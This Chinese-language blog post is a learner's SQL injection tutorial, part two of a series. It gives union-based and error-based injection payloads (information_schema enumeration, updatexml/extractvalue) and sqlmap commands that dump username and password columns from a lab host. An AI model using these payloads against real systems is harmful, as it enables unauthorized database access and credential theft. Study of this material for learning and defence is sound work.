首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >自学sql注入(二)

自学sql注入(二)

作者头像
宸寰客
发布于 2020-07-14 07:36:52
发布于 2020-07-14 07:36:52
53000
代码可运行
举报
文章被收录于专栏:yuancao博客yuancao博客
运行总次数:0
代码可运行

这是笔者自行整理出来的有关sql注入的一些知识点,自己还有些迷迷糊糊,可能有些不对的地方。等学完之后,再来详写一系列的关于sql注入的文章

自学sql注入(一)

自学sql注入(三)

基于union查询的注入

1、首先利用数据库自带的表达式获取数据库名

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
id=-1 union select 1,2,database()

2、再利用表达式爆出表名:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
id=-1 union select 1,(select table_name from information_schema.tables where table_schema='testa' limit 0,1),database()

3、再利用表达式爆出列名:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
id=-1 union select 1,(select column_name from information_schema.columns where table_schema='testa' and table_name='tabb' limit 0,1),database()

4、知道表名列名后,就可直接通过数据库查询语句获得想要的信息:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
id=-1 union select 1,(select username from users where id=5),(select password from users where id=5)

group_concat用法

直接列出当前所有的表名:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#

列出所有列名

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3#

$id :数字型注入:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 id=1 union select 1,2,3

‘$id’:字符型注入:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
id=1' union select 1,2,3#   //  #和-- 都是屏蔽符,在url编码中#为%23,-- (此处有个空格)为--+

字符型除了单引号’之外,还有",’)等等方式

‘%$id%’

搜索型注入:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
id=1%' union select 1,2,3#

sqlmap基础使用

需要环境

python2.7

用法

python2 sqlmap.py -u “http://192.168.11.28/mysql/sqli.php?id=1” (-u主要用于get请求,双引号内是存在注入点的url链接)

跑出当前的库名(库名是testa)

python2 sqlmap.py -u “http://192.168.11.28/mysql/sqli.php?id=1” --current-db

跑出当前库的所有表名(表名是tabb)

python2 sqlmap.py -u “http://192.168.11.28/mysql/sqli.php?id=1” -D “testa” --tables

跑出当前表的列名(列名有id,username,password)

python2 sqlmap.py -u “http://192.168.11.28/mysql/sqli.php?id=1” -D “testa” -T “tabb” --columns

跑出当前表列名对应的值

python2 sqlmap.py -u “http://192.168.11.28/mysql/sqli.php?id=1” -D “testa” -T “tabb” -C “id,username,password” --dump

在用户sqlmap文件夹内也能看到输出的值

基于报错的注入

以下3个函数能引起数据库的报错,我们可以构造语句使关键信息出现在报错的内容中

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
updatexml()
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
extractvalue()
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
floor()

updatexml(1,2,3),是从一个xml文档里面寻找值并替换,1是寻找的目标,2是文档中的路径,3是用来替换的值。

报错原理是如果不存在文档的路径,那么就会把路径的信息显示到报错文本中

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
payload:updatexml(1,concat(0x7e,database(),0x7e),1)

0x7e是~的16进制,这样做一是为了方便看,二是防止报错内容吞掉部分路径信息,保持信息输出的完整性

extractvalue(1,2)跟updatexml的用法相似,唯一的区别就是没有替换功能,其他都一样的。

extractvalue(1,concat(0x7e,database(),0x7e))

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020/07/12 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
云时代,如何智慧抗“疫”
本次腾讯云大学大咖分享课程邀请 腾讯文旅高级架构师 王海莹 分享关于“云时代,如何智慧抗“疫” ”课程的内容。
可可爱爱没有脑袋
2020/03/06
1.3K0
云时代,如何智慧抗“疫”
全域智慧文旅的创新与实践 | 云端大讲堂
由腾讯文旅策划的云端大讲堂于2月26日-28日开讲,受到文旅行业从业人员的欢迎和高度评价。其旨在聚焦文旅产业互联网发展,打造新文旅时代精品云端课堂。产业前沿趋势,科技创新应用,数字解决方案,腾讯实战案例等在腾讯文旅云端大讲堂一一呈现,让思想和智慧照亮诗和远方。 腾讯文旅云端大讲堂第一期系列直播课程,为文旅行业从业者提供了战“疫”之策,分享科技如何助力产业复苏,腾讯全域智慧文旅的创新实践,腾讯新文创战略与文旅IP融合发展,前沿趋势,经典案例等,助力行业产业复苏和高质量发展。 徐亮 腾讯文旅首席架构师
腾讯文旅
2020/06/17
1.4K0
明日开讲 | 腾讯文旅云端大讲堂第二期“智慧”来袭!
随着国内疫情基本得到控制和好转,文旅产业逐渐进入了疫后复苏阶段。同时,近期国家相关部门多次提出要大力推进包括5G、大数据中心、人工智能在内的“新基建”建设。在“新基建”建设背景下,文旅产业如何更好的复苏和高质量发展,是产业从业者需要重点探讨和研究的方向之一。 值得一提的是,疫情期间以数字内容为核心的数字文旅产业,异军突起、逆势上扬。云娱乐、云直播、云看展等新业态的用户高涨,随着疫情防控形势持续向好,数字文旅产业也被各地作为推动产业高质量发展的重要抓手。 2020年2月,腾讯文旅推出云端大讲堂系列直播课
腾讯文旅
2020/06/17
6060
周三开讲 | 数字战“疫”,云端打响!腾讯文旅云端大讲堂即将开讲
毋庸置疑,疫情给文旅业带来一次“休克式”创伤;始终确信,行业即将迎来春暖花开。后疫情时期,如何用好疫情冰冻期蓄能提升,以更好的迎接产业恢复期以及反弹爆发期的到来,是摆在所有文旅从业者面前的一道议题。 由腾讯文旅策划的云端大讲堂将于2月26日-28日20时至21时陆续与大家见面,聚焦文旅产业互联网发展,打造新文旅时代精品云端课堂。产业前沿趋势,科技创新应用,数字解决方案,腾讯实战案例等将在腾讯文旅云端大讲堂一一呈现,在这里,让思想和智慧照亮诗和远方。 腾讯文旅云端大讲堂第一期系列直播课程,将为文旅行业从
腾讯文旅
2020/06/17
5920
腾讯IP+文旅的探索实践 | 云端大讲堂
由腾讯文旅策划的云端大讲堂于2月26日-28日开讲,受到文旅行业从业人员的欢迎和高度评价。其旨在聚焦文旅产业互联网发展,打造新文旅时代精品云端课堂。产业前沿趋势,科技创新应用,数字解决方案,腾讯实战案例等在腾讯文旅云端大讲堂一一呈现,让思想和智慧照亮诗和远方。 腾讯文旅云端大讲堂第一期系列直播课程,为文旅行业从业者提供了战“疫”之策,分享科技如何助力产业复苏,腾讯全域智慧文旅的创新实践,腾讯新文创战略与文旅IP融合发展,前沿趋势,经典案例等,助力行业产业复苏和高质量发展。 颜亮 腾讯互娱高级公关经
腾讯文旅
2020/06/17
7420
“云旅游”解锁文旅产业新玩法
今年,受新冠肺炎疫情影响,旅游业遭受到了前所未有的影响。面对这样的市场环境,旅游行业顺势而生了“云旅游”等一系列文化旅游新举措,通过线上直播等方式,使大众可以足不出户便能享受到旅游的乐趣。 此外,数字化智慧旅游亦成为保障文旅市场平稳安全有序复苏的重要服务和治理手段,同时也让大众领略到文化旅游的花样新玩法。 2020年,突如其来的新冠肺炎疫情使得文旅产业按下“暂停键”,出游人数出现断崖式下降,全国的旅行社和线上旅游应用出现大范围的“退订潮”。据某OTA企业公布数据显示,仅在春节期间因疫情产生的退票业
腾讯文旅
2020/07/10
7540
腾讯发起“春光计划”,助力全国文旅产业复苏
日前,腾讯多个部门和产品联合发起名为“春光计划”的文旅产业复苏计划,旨在整合腾讯的产品能力帮助全国文旅产业在疫情缓解之后加快复苏,推进品牌提升和景区能力建设。 腾讯“春光计划”提供了旨在提升景区、博物馆等旅游目的地的线上推广能力的“百千万品牌计划”、“三大加油包”以及“三大智慧助手”,将充分运用包括腾讯微视、企鹅号、腾讯新闻在内的流量入口和内容扶持政策,腾讯文旅和腾讯地图的智慧旅游及大数据能力,帮助行业尽快复苏。 “春光计划”全文如下: 腾讯“春光计划” 和全国文旅产业共迎“明媚春
腾讯文旅
2020/06/17
8450
两会聚焦 | 代表委员建言以高质量发展推动疫后旅游业振兴
3月29日至4月1日,习近平总书记在浙江省考察时指出,危和机总是同生并存的,克服了危即是机。我国经济发展面临新的挑战,同时也给加快科技发展、推动产业优化升级带来新的机遇。如何变压力为动力、化危为机?习近平提出,要深入分析,全面权衡,准确识变、科学应变、主动求变,善于从眼前的危机、眼前的困难中捕捉和创造机遇。 从旅游业来看,新冠肺炎疫情是近代以来全球旅游业面临的最大冲击,也是我国改革开放以来旅游业面临的最大挑战。随着国内疫情防控形势持续向好,经济长期向好的基本面没有改变,旅游业持续增长、稳定发展的基本面
腾讯文旅
2020/06/17
7120
《春天里的新文旅》大数据报告发布!春江水暖,文旅融合加速
春江水暖,热度“狂飙”。2023年春天,文旅行业终于迎来「新春」。 5月19日,在第十三个中国旅游日“旅游高质量发展论坛”上,腾讯位置服务联合中国演出行业协会发布《「春天里」的新文旅——后疫情时代文旅发展大数据报告》(下文简写为《报告》),《报告》基于全国演艺大数据和脱敏后的位置大数据,对全国5A景区、一级博物馆、重点演艺场所、国家级旅游休闲街区、知名演艺活动文旅复苏和融合情况进行了分析。 《报告》显示,全国文旅市场全面复苏,省域周边游大热,国家5A景区2023年春季整体热度同比去年增长超90%,部分景区
腾讯位置服务
2023/05/24
4770
《春天里的新文旅》大数据报告发布!春江水暖,文旅融合加速
首届中国(武汉)文旅博览会开幕 ,腾讯文旅展示“数字文旅”实践成果
11月26日,为期三天的首届中国(武汉)文化旅游博览会在武汉开幕。 展会期间,腾讯携“数字博物馆”和“腾讯文旅”两大主题展亮相,重点展示腾讯在数字文博、旅游会展等领域的数字化技术应用案例及成果,引来众多观众一探究竟。 在中央展区的腾讯数字博物馆展台现场,观众通过扫码即可进入“国宝全球数字博物馆”“数字故宫”和“云游敦煌”微信小程序,只需动动手指,就能让美轮美奂的文物珍宝、恢弘大气的红墙绿瓦、技艺精湛的石窟壁画从指尖走进心间,感受到数字科技和传统文化的融合之美。过去几年,腾讯携手故宫博物院、敦煌研
腾讯文旅
2021/11/29
8850
大咖论道 | 信宏业:“新基建”与智慧文旅新趋势
腾讯文旅云端大讲堂旨在聚焦文旅产业互联网发展,打造新文旅时代精品云端课堂。产业前沿趋势,科技创新应用,数字解决方案,腾讯实战案例等将在腾讯文旅云端大讲堂一一呈现。在这里,让智慧照亮诗和远方。 文化和旅游部信息中心副主任 信宏业 云端大讲堂第二期系列直播课程于4月8日-10日举行,邀请到文化和旅游部信息中心副主任信宏业,进行了以“‘新基建’与智慧文旅新趋势”为主题的精彩演讲,阐述了如何在“新基建”战略时代背景下,将科技与文旅进行融合创新,助力文旅产业转型升级。 以下为演讲全文(点击文末阅读原文,观
腾讯文旅
2020/06/17
5650
腾讯在厦门升级了文旅云,腾讯数字云途平台为旅游名城注入科技活力
12月11日,在腾讯全球数字生态大会厦门峰会上,腾讯文旅宣布正式升级文旅云,发布文旅中台产品WeRoad 腾讯数字云途平台,构建“1+2+3”文旅产品体系,打通文旅行业数据壁垒,全面提升业务治理能力。 当前正处于疫后文旅产业复苏的关键阶段,如何对景区精细化治理提供贴心、智能服务已经成为业内普遍关注的重点,腾讯此次文旅云的全面升级,将从产品能力、解决方案以及生态三方面发力,利用数字科技助力文旅产业高质量发展。 腾讯文旅产品副总裁张耀辉在现场正式发布了“WeRoad 腾讯数字云途”,WeRoad将此前
腾讯文旅
2020/12/16
2.1K0
产业观察 | 科技“加持” 旅游业实现智慧“蝶变”
作为人们美好生活中的“幸福必需品”,旅游行业一直在不断自我创新和发展,科技进步和文化发展更为旅游行业带来“颠覆性创新”。 新冠肺炎疫情出现后,我国文化旅游活动一度按下“暂停键”。在文旅产业复工复产过程中,数字化文旅资源和工具发挥了重要作用,文旅业正在“蝶变”。 上海市松江区携手长三角G60科创走廊九城市在腾讯平台共同开展“玩转G60 畅游长三角”线上云游直播活动,让九城市市民共同参与旅游体验。上海市宝山区启动后工业时代宝山新玩法主题活动,以“线上打卡+线下体验”的方式推出八条主题线路,呈现“钢花”
腾讯文旅
2020/07/03
5560
产业篇 | 文旅产业结构再升级,五一期间实现高质量恢复与发展
编者按:刚刚过去的“五一”旅游市场,成为疫情以来的第一个旅游高峰,实现国内旅游收入475.6亿元。虽然尚未恢复到去年同期水平,但已经显示出强劲的反弹势头,同时线上线下的一体化融合发展成为共识,文旅产业进入了新一轮供给侧结构调整阶段,正以优质精品产品服务迎接产业复苏。 4月27日,中央宣传部、文化和旅游部召开2020年“五一”假期旅游景区开放管理工作电视电话会议指出,2020年的“五一”假期是我国进入常态化疫情防控阶段后的首个旅游小长假,要切实做好旅游景区疫情防控和安全有序开放工作,把旅游景区开放管
腾讯文旅
2020/06/17
6300
智慧篇 | 五一期间智慧旅游新业态不断涌现,加速赋能经济发展
编者按:来自文化和旅游部发布的数据显示,5月1-5日,全国共计接待国内游客1.15亿人次,实现国内旅游收入475.6亿元。期间,智慧旅游、直播带货、城市休闲、线上“云游”,众多新业态和新玩法在这个“五一”假期中拉动经济增长作用凸显,同时使整个文旅市场充满生机。 五一期间,全国实现国内旅游收入475.6亿元。这不仅意味着各地景区有序开放、文旅企业复工复产,也再次证明人们的消费信心正在逐渐恢复,旅游消费市场展现出强劲的动力。 青山绿水,繁花遍开。线上预约、云出游方便了游客的同时,也为“五一”安全上了一把
腾讯文旅
2020/06/17
6570
“智慧旅游”成五一假期“标配” 新业态助力文旅消费有序复苏
“五一”假期大幕落下,作为我国疫情防控常态化之后的首个5天长假,今年“五一”,不少民众都选择外出游玩放松心情。来自文化和旅游部发布的数据显示,5月1-5日,全国共计接待国内游客1.15亿人次,实现国内旅游收入475.6亿元。超过1亿人次的游客走出家门,这不仅意味着各地景区有序开放、文旅企业复工复产,同时也说明人们的消费信心正在逐渐恢复。此外,智慧旅游、直播带货、城市休闲、线上“云游”,众多新业态、新玩法更让这个“五一”假期充满生机。 “这里空气好、景色好,充满大自然的气息,让人心情舒畅。经过这次疫
腾讯文旅
2020/06/17
4600
云端大讲堂|“数字藏品”专场顺利举行,探讨文旅行业应用新价值
4月13日晚,由腾讯文旅策划的云端大讲堂第五期直播课程顺利开播。课程主要分享了数字藏品新热点和数字藏品研究成果对于文旅行业应用价值及思考,主旨是为文旅行业的从业者们提供新的思考和突破途径。 腾讯文旅云端大讲堂志在聚焦文旅产业互联网发展、产业的趋势研究、行业热点等方向,为大家开拓思维,启迪智慧,打造新文旅时代精品的云端课堂。 2022年数字藏品开始广泛进入大众视野。在这爆发式增长时期,如何定义数字藏品的新价值,以及数字藏品研究成果之于文旅行业的应用思考,是摆在所有文旅从业者面前的一道议题。 腾讯文旅云端大
腾讯文旅
2022/04/18
4530
云端大讲堂|“数字藏品”专场顺利举行,探讨文旅行业应用新价值
数字文旅周报64期 | 131届广交会云上圆满落幕,腾讯助力线上平台全面焕新
1、131届广交会云上圆满落幕,腾讯助力线上平台全面焕新 4月24日,第131届中国进出口商品交易会(下称广交会)圆满落幕。本届广交会全程在云上举办,通过升级焕新线上平台,以数字化技术,服务全球供采客户,畅通国内国际双循环,推动国际贸易合作和世界经济复苏。10天时间,2.55多万家境内外参展企业、16大类50个展区的商品、228个国家和地区的采购商齐聚云上平台共同发力“稳链稳贸”,展示了中国制造一如既往的高水准,也充分彰显了中国对外开放的决心和与世界合作共赢的态度。 从2020年开始,腾讯已连续三年、第五
腾讯文旅
2022/04/28
8060
数字文旅周报64期 | 131届广交会云上圆满落幕,腾讯助力线上平台全面焕新
产业观察 | 疫情突发行业短期阵痛下 文旅融合科技迎来发展新阶段
2020年伊始,疫情突发,新型冠状病毒感染的肺炎来势汹汹,一个带着“王冠”的病毒引发了全球经济“海啸”。恐慌之中,企业焦头烂额向政府请求支援,但危难时刻最大的依靠还是企业自身的实力和韧性。或许有人问,现在努力,还来得及么?但种下一棵树最好的时间是十年前,其次是现在。 _ _ 覆巢之下,岂有完卵 _ _ 如果说2003年“地球村”还未如此互联互通,一些国家和地区或能“独善其身”。那么2020年的今天,则可谓“无人幸免”。 国内市场而言,据恒大集团首席经济学家任泽平分析,中国旅游市场春节期间至少冻结了50
腾讯文旅
2020/06/17
6550
数字文旅周报67期 | “探元计划”2022——探索文化遗产数字活化新纪元创新案例征集正式启动
1、“探元计划”2022——探索文化遗产数字活化新纪元创新案例征集正式启动 为探寻文化遗产数字活化的可持续发展路径,由中国文物保护技术协会指导,腾讯数字文化实验室、腾讯研究院、中国人民大学创意产业技术研究院联合发起,青腾作为特邀共创伙伴的“探元计划”2022——探索文化遗产数字活化新纪元将围绕“前沿科技+文化遗产”领域重大共性关键技术与核心议题方向,面向全社会征集、遴选具有行业前瞻性与社会价值的创新案例、应用场景与解决方案,寻求实现可持续社会价值的共识,共享腾讯优势技术、资源,推动产业共创全真互联的文化遗产
腾讯文旅
2022/05/25
8180
数字文旅周报67期 | “探元计划”2022——探索文化遗产数字活化新纪元创新案例征集正式启动
推荐阅读
云时代,如何智慧抗“疫”
1.3K0
全域智慧文旅的创新与实践 | 云端大讲堂
1.4K0
明日开讲 | 腾讯文旅云端大讲堂第二期“智慧”来袭!
6060
周三开讲 | 数字战“疫”,云端打响!腾讯文旅云端大讲堂即将开讲
5920
腾讯IP+文旅的探索实践 | 云端大讲堂
7420
“云旅游”解锁文旅产业新玩法
7540
腾讯发起“春光计划”,助力全国文旅产业复苏
8450
两会聚焦 | 代表委员建言以高质量发展推动疫后旅游业振兴
7120
《春天里的新文旅》大数据报告发布!春江水暖,文旅融合加速
4770
首届中国(武汉)文旅博览会开幕 ,腾讯文旅展示“数字文旅”实践成果
8850
大咖论道 | 信宏业:“新基建”与智慧文旅新趋势
5650
腾讯在厦门升级了文旅云,腾讯数字云途平台为旅游名城注入科技活力
2.1K0
产业观察 | 科技“加持” 旅游业实现智慧“蝶变”
5560
产业篇 | 文旅产业结构再升级,五一期间实现高质量恢复与发展
6300
智慧篇 | 五一期间智慧旅游新业态不断涌现,加速赋能经济发展
6570
“智慧旅游”成五一假期“标配” 新业态助力文旅消费有序复苏
4600
云端大讲堂|“数字藏品”专场顺利举行,探讨文旅行业应用新价值
4530
数字文旅周报64期 | 131届广交会云上圆满落幕,腾讯助力线上平台全面焕新
8060
产业观察 | 疫情突发行业短期阵痛下 文旅融合科技迎来发展新阶段
6550
数字文旅周报67期 | “探元计划”2022——探索文化遗产数字活化新纪元创新案例征集正式启动
8180
相关推荐
云时代,如何智慧抗“疫”
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档